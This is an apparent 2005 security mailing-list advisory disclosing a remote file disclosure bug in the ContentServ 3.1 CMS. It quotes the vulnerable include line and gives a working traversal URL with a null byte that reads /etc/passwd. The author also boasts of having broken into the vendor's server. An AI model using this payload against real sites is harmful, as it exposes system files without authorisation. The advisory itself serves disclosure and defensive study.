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Message-ID: <200509251614.37148.qobaiashi@gmx.net>
Date: Sun Sep 25 14:36:13 2005
From: qobaiashi at gmx.net (qobaiashi@....net)
Subject: ContentServ features remote file disclosure

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--[ ContentServ (still) features remote reading of arbitrary files ]--
-------------------------[ qobaiashi@....net ]------------------------

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ContentServ is a cms developed by ... ContentServ.de and is a quite
commonly used cms system at least in .de.

Some months ago while pentesting www.contentserv.com i've found a bug
(yo alex i rooted you back then but somehow you didn't need sec support)
in ContentServ 3.1. which - to my surprise - is still accessible on some
installations. Somebody should have read the apache logs over there ;)
I had some fun with it (the bug and your server) back then.

The bug resides in /admin/about.php:
[...]
        include("../$ctsWebsite/data/config.php");
[...]


This boils down to a damn stupid:

www.we-cant-design-our-hp.com/contentserv/3.1/admin/about.php?
ctsWebsite=../../../../../../../../../../etc/passwd%00

to give you some informations.

-----------------------------
Disclosure timeline:

Bug found:      2004
Bug disclosed:  Son Sep 25 16:04:40 CEST 2005
Bug fixed:      ask your vendor

have fun.
-q

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